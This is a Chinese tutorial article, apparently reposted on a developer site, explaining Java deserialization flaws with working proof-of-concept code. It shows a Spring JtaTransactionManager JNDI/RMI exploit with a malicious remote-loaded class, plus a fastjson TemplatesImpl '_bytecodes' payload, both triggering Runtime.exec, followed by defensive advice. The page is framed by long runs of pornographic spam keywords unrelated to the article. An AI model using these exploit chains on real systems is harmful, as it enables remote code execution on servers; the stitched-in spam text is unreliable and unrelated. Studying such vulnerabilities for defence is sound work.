精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

深入剖析 Java 反序列化漏洞

開發 后端
最為出名的大概應該是:15年的 Apache Commons Collections 反序列化遠程命令執行漏洞,當初影響范圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名軟件,直接在互聯網行業掀起了一陣颶風。

[[429939]]

本文轉載自微信公眾號「Java極客技術」,作者鴨血粉絲Tang 。轉載本文請聯系Java極客技術公眾號。

一、背景

在上篇文章中,小編有詳細的介紹了序列化和反序列化的玩法,以及一些常見的坑點。

但是,高端的玩家往往不會僅限于此,熟悉接口開發的同學一定知道,能將數據對象很輕松的實現多平臺之間的通信、對象持久化存儲,序列化和反序列化是一種非常有效的手段,例如如下應用場景,對象必須 100% 實現序列化。

  • DUBBO:對象傳輸必須要實現序列化
  • RMI:Java 的一組擁護開發分布式應用程序 API,實現了不同操作系統之間程序的方法調用,RMI 的傳輸 100% 基于反序列化,Java RMI 的默認端口是 1099 端口

而在反序列化的背后,卻隱藏了很多不為人知的秘密!

最為出名的大概應該是:15年的 Apache Commons Collections 反序列化遠程命令執行漏洞,當初影響范圍包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名軟件,直接在互聯網行業掀起了一陣颶風。

2016 年 Spring RMI 反序列化爆出漏洞,攻擊者可以通過 JtaTransactionManager 這個類,來遠程執行惡意代碼。

2017 年 4月15 日,Jackson 框架被發現存在一個反序列化代碼執行漏洞。該漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通過該漏洞,攻擊者可以遠程在服務器主機上越權執行任意代碼,從而取得該網站服務器的控制權。

還有 fastjson,一款 java 編寫的高性能功能非常完善的 JSON 庫,應用范圍非常廣,在 2017 年,fastjson 官方主動爆出 fastjson 在1.2.24及之前版本存在遠程代碼執行高危安全漏洞。攻擊者可以通過此漏洞遠程執行惡意代碼來入侵服務器。

Java 十分受開發者喜愛的一點,就是其擁有完善的第三方類庫,和滿足各種需求的框架。但正因為很多第三方類庫引用廣泛,如果其中某些組件出現安全問題,或者在數據校驗入口就沒有把關好,那么受影響范圍將極為廣泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那么問題來了,攻擊者是如何精心構造反序列化對象并執行惡意代碼的呢?

二、漏洞分析

2.1、漏洞基本原理

我們先看一段代碼如下:

  1. public class DemoSerializable { 
  2.  
  3.     public static void main(String[] args) throws Exception { 
  4.         //定義myObj對象 
  5.         MyObject myObj = new MyObject(); 
  6.         myObj.name = "hello world"
  7.         //創建一個包含對象進行反序列化信息的”object”數據文件 
  8.         FileOutputStream fos = new FileOutputStream("object"); 
  9.         ObjectOutputStream os = new ObjectOutputStream(fos); 
  10.         //writeObject()方法將myObj對象寫入object文件 
  11.         os.writeObject(myObj); 
  12.         os.close(); 
  13.         //從文件中反序列化obj對象 
  14.         FileInputStream fis = new FileInputStream("object"); 
  15.         ObjectInputStream ois = new ObjectInputStream(fis); 
  16.         //恢復對象 
  17.         MyObject objectFromDisk = (MyObject)ois.readObject(); 
  18.         System.out.println(objectFromDisk.name); 
  19.         ois.close(); 
  20.     } 
  21.  
  22. class MyObject implements Serializable { 
  23.  
  24.     /** 
  25.      * 任意屬性 
  26.      */ 
  27.     public String name
  28.  
  29.  
  30.     //重寫readObject()方法 
  31.     private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ 
  32.         //執行默認的readObject()方法 
  33.         in.defaultReadObject(); 
  34.         //執行指定程序 
  35.         Runtime.getRuntime().exec("open https://www.baidu.com/"); 
  36.     } 

運行程序之后,控制臺會輸出hello world,同時也會打開網頁跳轉到https://www.baidu.com/。

從這段邏輯中分析,我們可以很清晰的看到反序列化已經成功了,但是程序又偷偷的執行了一段如下代碼。

  1. Runtime.getRuntime().exec("open https://www.baidu.com/"); 

我們可以再把這段代碼改造一下,內容如下:

  1. //mac系統,執行打開計算器程序命令 
  2. Runtime.getRuntime().exec("open /Applications/Calculator.app/"); 
  3.  
  4. //windows系統,執行打開計算器程序命令 
  5. Runtime.getRuntime().exec("calc.exe"); 

運行程序后,可以很輕松的打開電腦中已有的任意程序。

很多人可能不知道,這里的readObject()是可以重寫的,只是Serializable接口沒有顯示的把它展示出來,readObject()方法的作用是從一個源輸入流中讀取字節序列,再把它們反序列化為一個對象,并將其返回,以定制反序列化的一些行為。

可能有的同學會說,實際開發過程中,不會有人這么去重寫readObject()方法,當然不會,但是實際情況也不會太差。

2.2、Spring 框架的反序列化漏洞

以當時的 Spring 框架爆出的反序列化漏洞為例,請看當時的示例代碼。

首先創建一個 server 代碼:

  1. public class ExploitableServer { 
  2.  
  3.     public static void main(String[] args) { 
  4.         try { 
  5.             //創建socket 
  6.             ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999")); 
  7.             System.out.println("Server started on port "+serverSocket.getLocalPort()); 
  8.             while(true) { 
  9.                 //等待鏈接 
  10.                 Socket socket=serverSocket.accept(); 
  11.                 System.out.println("Connection received from "+socket.getInetAddress()); 
  12.                 ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream()); 
  13.                 try { 
  14.                     //讀取對象 
  15.                     Object object = objectInputStream.readObject(); 
  16.                     System.out.println("Read object "+object); 
  17.                 } catch(Exception e) { 
  18.                     System.out.println("Exception caught while reading object"); 
  19.                     e.printStackTrace(); 
  20.                 } 
  21.             } 
  22.         } catch(Exception e) { 
  23.             e.printStackTrace(); 
  24.         } 
  25.     } 

然后創建一個 client 代碼:

  1. public class ExploitClient { 
  2.  
  3.     public static void main(String[] args) { 
  4.         try { 
  5.             String serverAddress = "127.0.0.1"
  6.             int port = Integer.parseInt("1234"); 
  7.             String localAddress= "127.0.0.1"
  8.  
  9.             System.out.println("Starting HTTP server");   //開啟8080端口服務 
  10.             HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0); 
  11.             httpServer.createContext("/",new HttpFileHandler()); 
  12.             httpServer.setExecutor(null); 
  13.             httpServer.start(); 
  14.  
  15.             System.out.println("Creating RMI Registry"); //綁定RMI服務到 1099端口 Object  提供惡意類的RMI服務 
  16.             Registry registry = LocateRegistry.createRegistry(1099); 
  17.             /* 
  18.             java為了將object對象存儲在Naming或者Directory服務下, 
  19.             提供了Naming Reference功能,對象可以通過綁定Reference存儲在Naming和Directory服務下, 
  20.             比如(rmi,ldap等)。在使用Reference的時候,我們可以直接把對象寫在構造方法中, 
  21.             當被調用的時候,對象的方法就會被觸發。理解了jndi和jndi reference后, 
  22.             就可以理解jndi注入產生的原因了。 
  23.              */ //綁定本地的惡意類到1099端口 
  24.             Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/"); 
  25.             ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference); 
  26.             registry.bind("Object", referenceWrapper); 
  27.  
  28.             System.out.println("Connecting to server "+serverAddress+":"+port); //連接服務器1234端口 
  29.             Socket socket=new Socket(serverAddress,port); 
  30.             System.out.println("Connected to server"); 
  31.             String jndiAddress = "rmi://"+localAddress+":1099/Object"
  32.  
  33.             //JtaTransactionManager 反序列化時的readObject方法存在問題 //使得setUserTransactionName可控,遠程加載惡意類 
  34.             //lookup方法會實例化惡意類,導致執行惡意類無參的構造方法 
  35.             org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager(); 
  36.             object.setUserTransactionName(jndiAddress); 
  37.             //上面就是poc,下面是將object序列化發送給服務器,服務器訪問惡意類 
  38.             System.out.println("Sending object to server..."); 
  39.             ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream()); 
  40.             objectOutputStream.writeObject(object); 
  41.             objectOutputStream.flush(); 
  42.             while(true) { 
  43.                 Thread.sleep(1000); 
  44.             } 
  45.         } catch(Exception e) { 
  46.             e.printStackTrace(); 
  47.         } 
  48.     } 

最后,創建一個ExportObject需要遠程下載的類:

  1. public class ExportObject { 
  2.  
  3.     public static String exec(String cmd) throws Exception { 
  4.         String sb = ""
  5.         BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); 
  6.         BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); 
  7.         String lineStr; 
  8.         while ((lineStr = inBr.readLine()) != null
  9.             sb += lineStr + "\n"
  10.         inBr.close(); 
  11.         in.close(); 
  12.         return sb; 
  13.     } 
  14.     public ExportObject() throws Exception { 
  15.         String cmd="open /Applications/Calculator.app/"
  16.         throw new Exception(exec(cmd)); 
  17.     } 

先開啟 server,再運行 client 后,計算器會直接被打開!

究其原因,主要是這個類JtaTransactionManager類存在問題,最終導致了漏洞的實現。

打開源碼,翻到最下面,可以很清晰的看到JtaTransactionManager類重寫了readObject方法。

重點就是這個方法initUserTransactionAndTransactionManager(),里面會轉調用到JndiTemplate的lookup()方法。

可以看到lookup()方法作用是:Look up the object with the given name in the current JNDI context。

也就是說,通過JtaTransactionManager類的setUserTransactionName()方法執行,最終指向了rmi://127.0.0.1:1099/Object,導致服務執行了惡意類的遠程代碼。

2.3、FASTJSON 框架的反序列化漏洞分析

我們先來看一個簡單的例子,程序代碼如下:

  1. import com.sun.org.apache.xalan.internal.xsltc.DOM; 
  2. import com.sun.org.apache.xalan.internal.xsltc.TransletException; 
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 
  4. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 
  5. import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 
  6. import java.io.IOException; 
  7.  
  8. public class Test extends AbstractTranslet { 
  9.      
  10.     public Test() throws IOException { 
  11.         Runtime.getRuntime().exec("open /Applications/Calculator.app/"); 
  12.     } 
  13.  
  14.     public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 
  15.  
  16.     } 
  17.  
  18.     @Override 
  19.     public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) { 
  20.     } 
  21.  
  22.  
  23.     public static void main(String[] args) throws Exception { 
  24.         Test t = new Test(); 
  25.     } 

運行程序之后,同樣的直接會打開電腦中的計算器。

惡意代碼植入的核心就是在對象初始化階段,直接會調用Runtime.getRuntime().exec("open /Applications/Calculator.app/")這個方法,通過運行時操作類直接執行惡意代碼。

我們在來看看下面這個例子:

  1. import com.alibaba.fastjson.JSON; 
  2. import com.alibaba.fastjson.parser.Feature; 
  3. import com.alibaba.fastjson.parser.ParserConfig; 
  4. import org.apache.commons.io.IOUtils; 
  5. import org.apache.commons.codec.binary.Base64; 
  6.  
  7. import java.io.ByteArrayOutputStream; 
  8. import java.io.File; 
  9. import java.io.FileInputStream; 
  10. import java.io.IOException; 
  11.  
  12.  
  13. public class POC { 
  14.  
  15.     public static String readClass(String cls){ 
  16.         ByteArrayOutputStream bos = new ByteArrayOutputStream(); 
  17.         try { 
  18.             IOUtils.copy(new FileInputStream(new File(cls)), bos); 
  19.         } catch (IOException e) { 
  20.             e.printStackTrace(); 
  21.         } 
  22.         return Base64.encodeBase64String(bos.toByteArray()); 
  23.  
  24.     } 
  25.  
  26.     public static void  test_autoTypeDeny() throws Exception { 
  27.         ParserConfig config = new ParserConfig(); 
  28.         final String fileSeparator = System.getProperty("file.separator"); 
  29.         final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class"
  30.         String evilCode = readClass(evilClassPath); 
  31.         final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
  32.         String text1 = "{\"@type\":\"" + NASTY_CLASS + 
  33.                 "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," + 
  34.                 "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n"
  35.         System.out.println(text1); 
  36.  
  37.         Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField); 
  38.         //assertEquals(Model.class, obj.getClass()); 
  39.     } 
  40.     public static void main(String args[]){ 
  41.         try { 
  42.             test_autoTypeDeny(); 
  43.         } catch (Exception e) { 
  44.             e.printStackTrace(); 
  45.         } 
  46.     } 

在這個程序驗證代碼中,最核心的部分是_bytecodes,它是要執行的代碼,@type是指定的解析類,fastjson會根據指定類去反序列化得到該類的實例,在默認情況下,fastjson只會反序列化公開的屬性和域,而com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl中_bytecodes卻是私有屬性,_name也是私有域,所以在parseObject的時候需要設置Feature.SupportNonPublicField,這樣_bytecodes字段才會被反序列化。

_tfactory這個字段在TemplatesImpl既沒有get方法也沒有set方法,所以是設置不了的,只能依賴于jdk的實現,某些版本中在defineTransletClasses()用到會引用_tfactory屬性導致異常退出。

如果你的jdk版本是1.7,并且fastjson <= 1.2.24,基本會執行成功,如果是高版本的,可能會報錯!

詳細分析請移步:http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也與之類似。

三、如何防范

從上面的案例看,java 的序列化和反序列化,單獨使用的并沒有啥毛病,核心問題也都不是反序列化,但都是因為反序列化導致了惡意代碼被執行了,尤其是兩個看似安全的組件,如果在同一系統中交叉使用,也能會帶來一定安全問題。

3.1、禁止 JVM 執行外部命令 Runtime.exec

從上面的代碼中,我們不難發現,惡意代碼最終都是通過Runtime.exec這個方法得到執行,因此我們可以從 JVM 層面禁止外部命令的執行。

通過擴展 SecurityManager 可以實現:

  1. public class SecurityManagerTest { 
  2.  
  3.     public static void main(String[] args) { 
  4.         SecurityManager originalSecurityManager = System.getSecurityManager(); 
  5.         if (originalSecurityManager == null) { 
  6.             // 創建自己的SecurityManager 
  7.             SecurityManager sm = new SecurityManager() { 
  8.                 private void check(Permission perm) { 
  9.                     // 禁止exec 
  10.                     if (perm instanceof java.io.FilePermission) { 
  11.                         String actions = perm.getActions(); 
  12.                         if (actions != null && actions.contains("execute")) { 
  13.                             throw new SecurityException("execute denied!"); 
  14.                         } 
  15.                     } 
  16.                     // 禁止設置新的SecurityManager,保護自己 
  17.                     if (perm instanceof java.lang.RuntimePermission) { 
  18.                         String name = perm.getName(); 
  19.                         if (name != null && name.contains("setSecurityManager")) { 
  20.                             throw new SecurityException("System.setSecurityManager denied!"); 
  21.                         } 
  22.                     } 
  23.                 } 
  24.  
  25.                 @Override 
  26.                 public void checkPermission(Permission perm) { 
  27.                     check(perm); 
  28.                 } 
  29.  
  30.                 @Override 
  31.                 public void checkPermission(Permission perm, Object context) { 
  32.                     check(perm); 
  33.                 } 
  34.             }; 
  35.  
  36.             System.setSecurityManager(sm); 
  37.         } 
  38.     } 

只要在 Java 代碼里簡單加上面那一段,就可以禁止執行外部程序了,但是并非禁止外部程序執行,Java 程序就安全了,有時候可能適得其反,因為執行權限被控制太苛刻了,不見得是個好事,我們還得想其他招數。

3.2、增加多層數據校驗

比較有效的辦法是,當我們把接口參數暴露出去之后,服務端要及時做好數據參數的驗證,尤其是那種帶有http、https、rmi等這種類型的參數過濾驗證,可以進一步降低服務的風險。

四、小結

隨著 Json 數據交換格式的普及,直接應用在服務端的反序列化接口也隨之減少,但陸續爆出的Jackson和Fastjson兩大 Json 處理庫的反序列化漏洞,也暴露出了一些問題。

所以我們在日常業務開發的時候,對于 Java 反序列化的安全問題應該具備一定的防范意識,并著重注意傳入數據的校驗、服務器權限和相關日志的檢查, API 權限控制,通過 HTTPS 加密傳輸數據等方面進行下功夫,以免造成不必要的損失!

五、參考

1、seebug - 深入理解 JAVA 反序列化漏洞

2、博客圓 - Afant1- Spring framework 反序列化的漏洞

 

3、技術博客- FASTJSON 遠程反序列化程序驗證的構造和分析

 

責任編輯:武曉燕 來源: Java極客技術
相關推薦

2016-09-21 00:15:27

2009-08-25 14:24:36

C#序列化和反序列化

2011-06-01 14:50:48

2024-09-10 08:28:22

2009-08-25 14:43:26

C#序列化和反序列化

2022-08-06 08:41:18

序列化反序列化Hessian

2018-03-19 10:20:23

Java序列化反序列化

2023-06-29 08:41:02

2011-06-01 15:05:02

序列化反序列化

2009-08-24 17:14:08

C#序列化

2009-06-14 22:01:27

Java對象序列化反序列化

2016-01-05 15:10:59

2009-08-06 11:16:25

C#序列化和反序列化

2011-05-18 15:20:13

XML

2023-12-13 13:49:52

Python序列化模塊

2019-08-12 06:41:26

PHP反序列化漏洞

2010-03-19 15:54:21

Java Socket

2019-11-20 10:07:23

web安全PHP序列化反序列化

2021-11-18 07:39:41

Json 序列化Vue

2012-04-13 10:45:59

XML
點贊
收藏

51CTO技術棧公眾號

男人的天堂影院| 麻豆tv在线播放| 国产视频在线观看免费| 欧美视频在线观看| 日韩精品免费在线播放| 亚洲欧美久久久久| 久草在线新免费首页资源站| av在线不卡电影| 国产精品精品久久久久久| 性色av无码久久一区二区三区| 欧美日韩大片免费观看| 欧美日韩成人综合| 男人草女人视频| 国产精品99999| 国产精品123| 国产成人精品亚洲精品| 欧美久久久久久久久久久久| 欧美精美视频| 精品国产91亚洲一区二区三区婷婷 | 国产一区激情| 亚洲精品日韩久久久| 黄色小视频免费网站| 国内精彩免费自拍视频在线观看网址 | 色综合亚洲精品激情狠狠| 被黑人猛躁10次高潮视频| 福利影院在线看| 亚洲色图另类专区| 日本一区视频在线| 人妻夜夜爽天天爽| 国产在线乱码一区二区三区| 国产99久久精品一区二区永久免费 | 亚洲男人天堂一区| 精品一区二区三区视频日产| 亚洲视频在线观看免费视频| 免费久久99精品国产自在现线| 久久精品国产视频| 男女做爰猛烈刺激| 黄色一级a毛片| 国产成人av网址| 91久久爱成人| 国产免费av一区| 欧美日韩视频| 欧美成人激情图片网| 91香蕉国产视频| 欧美系列电影免费观看| 亚洲精品之草原avav久久| 91人妻一区二区| 日本伊人久久| 日韩一级视频免费观看在线| 狠狠操狠狠干视频| abab456成人免费网址| 色综合久久88色综合天天| 日韩中文字幕在线视频观看| yellow字幕网在线| 亚洲高清免费视频| 男的插女的下面视频| 欧美寡妇性猛交xxx免费| 亚洲欧美精品午睡沙发| 精品国产三级a∨在线| 欧洲不卡视频| 亚洲国产精华液网站w| 亚洲精品一区二区三区四区五区| caoporn国产精品免费视频| 国产日韩精品久久久| 午夜欧美一区二区三区免费观看| 2017亚洲天堂1024| 亚洲欧美在线高清| 国产精品视频一二三四区| 女同一区二区免费aⅴ| 午夜伦欧美伦电影理论片| 你懂的av在线| 日韩欧美一区二区三区免费观看| 91福利资源站| 午夜剧场在线免费观看| 免费精品一区| 亚洲精品国产精品国自产在线| 素人fc2av清纯18岁| 国产午夜一区| 日韩中文字幕第一页| 国产中文av在线| 亚洲成人精选| 97精品在线视频| www五月天com| 久久99精品国产.久久久久| 91丝袜脚交足在线播放| 日韩在线视频观看免费| 国产日韩欧美综合在线| 国产一区一区三区| 国产极品在线观看| 欧美性生交片4| 免费欧美一级片| 亚洲va久久久噜噜噜久久| 在线一区二区日韩| 精品无码人妻一区二区三区品| 久久99伊人| 51国产成人精品午夜福中文下载| 日韩一级中文字幕| 中文字幕一区二区在线播放| 国产手机免费视频| 亚洲成人短视频| 日韩欧美亚洲另类制服综合在线 | 国产成+人+日韩+欧美+亚洲| 免费看成人av| 成人在线免费看黄| 日韩欧美在线一区| 拔插拔插华人永久免费| 五月天亚洲色图| 久热精品视频在线| 亚洲成熟少妇视频在线观看| 国产黄人亚洲片| 日韩wuma| 免费h在线看| 91精品国产免费久久综合| av在线网站观看| 欧美三级在线| 国产剧情日韩欧美| 神马精品久久| 亚洲一区二区三区小说| 色噜噜狠狠永久免费| 麻豆一区二区麻豆免费观看| 久久久国产成人精品| 成人免费毛片视频| gogo大胆日本视频一区| 无码人妻aⅴ一区二区三区日本| 欧美片第1页| 亚洲精品不卡在线| 妺妺窝人体色www聚色窝仙踪 | 国产精品普通话| 亚洲色图另类小说| 亚洲精品日韩综合观看成人91| 久草福利视频在线| 少妇一区二区视频| 国自在线精品视频| 国产精品久久久午夜夜伦鲁鲁| 久久亚洲一区二区三区明星换脸| 欧美午夜性视频| 天堂va在线高清一区| www亚洲精品| 日韩xxx视频| 国产欧美精品区一区二区三区 | 一区二区三区四区欧美日韩| 久九九久频精品短视频| 亚洲精品国产成人| 久久伊人成人网| 国产91丝袜在线播放九色| 一本二本三本亚洲码| 亚洲欧美久久精品| 视频在线观看一区二区| 中文字幕一区二区三区人妻四季| 国产视频一区二区在线| 日韩在线第三页| 狠狠综合久久av一区二区蜜桃 | 久久中文字幕国产| 国产精品久久久久久久久毛片| 国产精品久久久久精k8| 在线观看国产福利| 国产韩日影视精品| 川上优av一区二区线观看 | 97精品国产97久久久久久免费| 天天干天天干天天干| 精品国产精品自拍| 丝袜美腿中文字幕| 日韩成人dvd| 欧美亚洲视频一区| 国产免费av国片精品草莓男男| 久久午夜a级毛片| www.蜜桃av.com| 亚洲v精品v日韩v欧美v专区| 素人fc2av清纯18岁| 丝袜亚洲另类丝袜在线| 亚洲视频导航| 亚州一区二区| 日本精品久久久久影院| 91精彩视频在线观看| 欧美一区日韩一区| 精品无码m3u8在线观看| 91免费视频网址| 一道本视频在线观看| 99久久九九| 国产成人精品日本亚洲11| 国产高清视频色在线www| 亚洲三级免费看| 国产影视一区二区| 亚洲永久免费视频| xxx在线播放| 精品亚洲porn| 国产在线精品91| 97精品一区| 国产伦精品一区二区三区在线| 国产日韩电影| 久久人人爽人人爽爽久久| 人妻精品无码一区二区| 欧美亚洲自拍偷拍| 久久久无码精品亚洲国产| 久久亚洲综合av| 欧美精品色视频| 久久婷婷久久| 久久久久久久香蕉| 国产调教一区二区三区| 国产成人av一区二区三区| 日韩三区免费| 高清欧美性猛交| 欧美激情二区| 国产午夜精品麻豆| 精品人妻午夜一区二区三区四区| 色综合天天性综合| 欧美极品aaaaabbbbb| 国产亚洲一区二区三区在线观看 | 日韩一区二区三区在线看| 国产精品a久久久久久| 色yeye免费人成网站在线观看| 亚洲欧美另类国产| 国产自产一区二区| 91麻豆精品国产91久久久久久久久| 精品成人久久久| 亚洲黄色免费电影| 国产成人精品视频免费| 97超碰欧美中文字幕| 伊人免费视频二| 日韩国产精品大片| 男人天堂手机在线视频| 综合在线一区| 亚洲一区在线直播| 蜜臀久久99精品久久一区二区| 成人一区二区在线| 91视频成人| 国产精品天天狠天天看| 国偷自产一区二区免费视频| 欧美极品少妇xxxxⅹ免费视频| 黄网站app在线观看| 怡红院精品视频| 欧美日韩国产综合视频| 亚洲精品国精品久久99热| 亚洲AV无码国产精品午夜字幕| 欧美久久一区二区| 亚洲精品国产欧美在线观看| 91国模大尺度私拍在线视频| www.国产高清| 欧美日韩亚洲91| 激情五月色婷婷| 香蕉影视欧美成人| 久久精品久久精品久久| 亚洲激情成人在线| 免费在线观看日韩| 亚洲一区二区在线免费观看视频| 好吊色视频在线观看| 亚洲免费在线播放| 午夜免费激情视频| 亚洲精品日产精品乱码不卡| 精品国产视频一区二区三区| 亚洲视频香蕉人妖| 91porn在线视频| 一区二区三区国产豹纹内裤在线| 免费毛片在线播放免费| 亚洲一区二区高清| 久久久久99精品| 欧美日韩国产一区中文午夜| 国产又大又黄视频| 日本道免费精品一区二区三区| 免费视频网站在线观看入口| 欧美午夜理伦三级在线观看| 在线观看中文字幕av| 91精品免费观看| 午夜精品久久久久久久爽| 精品国偷自产国产一区| 天天射天天操天天干| 亚洲女人天堂色在线7777| 国产在线观看黄| 色偷偷88888欧美精品久久久| 国内精品久久久久国产| 欧美多人爱爱视频网站| 成人观看网址| 国产精品免费观看在线| 国产精品2区| 精品久久久久久一区二区里番| 久久爱www成人| 正在播放一区| 一区在线免费| 日本在线观看免费视频| 国产一区二区三区在线观看免费视频| 波多野结衣办公室双飞| 91蜜桃免费观看视频| 欧美日韩国产黄色| 亚洲美女一区二区三区| 97免费在线观看视频| 欧美在线免费视屏| 精品人妻av一区二区三区| 精品一区二区三区四区在线| 男女啪啪在线观看| 高清欧美性猛交| 高清亚洲高清| 国产亚洲欧美一区二区三区| 日韩av在线播放网址| 轻点好疼好大好爽视频| 日韩高清中文字幕一区| 4438x全国最大成人| 久久久午夜电影| 精品99久久久久成人网站免费| 日本韩国欧美在线| 亚洲a视频在线| 中文字幕日本欧美| 国产ktv在线视频| 国产综合福利在线| 欧美亚洲色图校园春色| a级网站在线观看| 先锋亚洲精品| 成人做爰www看视频软件| 国产精品视频麻豆| www.中文字幕在线观看| 日韩三级中文字幕| 调教视频免费在线观看| 91成人在线播放| 视频成人永久免费视频| 亚洲国产精品综合| 国产欧美高清| 乱码一区二区三区| 国产精品免费久久| 久久精品视频5| 亚洲福利视频在线| av网站大全在线| 国产日韩欧美视频| 国产videos久久| 国产女大学生av| 成人一区二区在线观看| 国产av无码专区亚洲av毛网站| 欧美综合亚洲图片综合区| 无码精品在线观看| 欧美第一黄色网| 日韩中文字幕无砖| 中文字幕乱码一区二区三区| 日本视频免费一区| 欧美日韩高清丝袜| 欧美性20hd另类| 日批视频在线播放| 久久久久久久久久久亚洲| 国产精品中文| 日本黄网站色大片免费观看| 国内精品久久久久影院一蜜桃| 你懂得视频在线观看| 91久久免费观看| 国产系列电影在线播放网址| 日本久久久久亚洲中字幕| 香蕉久久夜色精品国产更新时间 | 日韩欧美亚洲精品| 久久亚洲视频| 亚洲无人区码一码二码三码的含义| 色婷婷国产精品| 国模精品一区二区| 国产精国产精品| 日韩欧美中字| 中文字幕色网站| 亚洲欧洲中文日韩久久av乱码| 国产免费不卡视频| 九九热r在线视频精品| 亚洲日本va午夜在线电影| 国产黄色激情视频| 成人综合婷婷国产精品久久| 日韩伦理在线视频| 日韩国产在线播放| 粉嫩一区二区三区| 亚洲国产婷婷香蕉久久久久久99| 久久精品国产成人一区二区三区 | 国产中文在线| 国产精品你懂得| 围产精品久久久久久久 | 26uuu国产日韩综合| 久久精品视频5| 色婷婷综合成人| 91精品尤物| 久久国产精品视频在线观看| 久久只精品国产| 一级黄色片在线看| 欧美高清videos高潮hd| 日韩成人av在线资源| 999在线免费视频| 玉米视频成人免费看| 无码精品在线观看| 国产精品入口免费视频一| 亚洲在线久久| 国产精品第七页| 欧美午夜影院一区| 深夜国产在线播放| 蜜桃网站成人| 国内精品不卡在线| 日韩美女一级片| 中文亚洲视频在线| 成人av综合网| 国产免费人做人爱午夜视频| 亚洲青青青在线视频| 天天操天天舔天天干| 成人免费网站在线观看| 日韩视频不卡| 国产美女网站视频| 亚洲国产一区二区三区四区| 99亚洲伊人久久精品影院| 欧美中文字幕在线观看视频| 久久看人人爽人人| www.成人免费视频| 国产99视频在线观看| 激情视频一区二区三区|